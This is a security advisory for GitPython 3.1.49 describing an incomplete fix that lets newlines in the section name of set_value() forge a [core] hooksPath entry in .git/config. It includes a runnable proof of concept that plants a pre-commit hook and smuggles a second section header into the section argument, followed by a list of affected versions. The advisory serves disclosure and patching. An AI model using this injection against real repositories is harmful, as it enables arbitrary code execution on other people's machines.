GHSA-mv93-w799-cj2w

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

Database specific

{
    "cwe_ids": [
        "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T23:19:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
}

References

Affected packages

PyPI / gitpython

Package

Name: gitpython; View open source insights on deps.dev
Purl: pkg:pypi/gitpython

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

3.1.50

Affected versions

0.*

0.1.7

0.2.0-beta1

0.3.0-beta1

0.3.0-beta2

0.3.1-beta2

0.3.2.RC1

0.3.2

0.3.2.1

0.3.3

0.3.4

0.3.5

0.3.6

0.3.7

1.*

1.0.0

1.0.1

1.0.2

2.*

2.0.0

2.0.1

2.0.2

2.0.3

2.0.4

2.0.5

2.0.6

2.0.7

2.0.8

2.0.9.dev0

2.0.9.dev1

2.0.9

2.1.0

2.1.1

2.1.2

2.1.3

2.1.4

2.1.5

2.1.6

2.1.7

2.1.8

2.1.9

2.1.10

2.1.11

2.1.12

2.1.13

2.1.14

2.1.15

3.*

3.0.0

3.0.1

3.0.2

3.0.3

3.0.4

3.0.5

3.0.6

3.0.7

3.0.8

3.0.9

3.1.0

3.1.1

3.1.2

3.1.3

3.1.4

3.1.5

3.1.6

3.1.7

3.1.8

3.1.9

3.1.10

3.1.11

3.1.12

3.1.13

3.1.14

3.1.15

3.1.16

3.1.17

3.1.18

3.1.19

3.1.20

3.1.22

3.1.23

3.1.24

3.1.25

3.1.26

3.1.27

3.1.28

3.1.29

3.1.30

3.1.31

3.1.32

3.1.33

3.1.34

3.1.35

3.1.36

3.1.37

3.1.38

3.1.40

3.1.41

3.1.42

3.1.43

3.1.44

3.1.45

3.1.46

3.1.47

3.1.48

3.1.49

Database specific

last_known_affected_version_range

"<= 3.1.49"

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-mv93-w799-cj2w/GHSA-mv93-w799-cj2w.json"